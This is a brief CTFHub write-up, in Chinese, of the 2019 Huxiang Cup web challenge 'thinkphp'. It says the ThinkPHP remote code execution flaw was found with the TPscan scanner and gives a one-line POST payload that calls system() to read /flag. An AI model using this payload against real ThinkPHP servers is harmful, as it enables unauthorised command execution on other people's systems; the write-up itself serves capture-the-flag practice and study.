CTFHub

Writeup

thinkphp

发表于 分类于 ， ， ，
Challenge | 2019 | 湖湘杯 | Web | thinkphp

点击此处获得更好的阅读体验

题目考点

  • ThinkPHP RCE漏洞

解题思路

直接使用Lucifer师傅的TPscan扫到漏洞，然后使用EXP直接RCE

_method=__construct&filter[]=system&server[REQUEST_METHOD]=cat /flag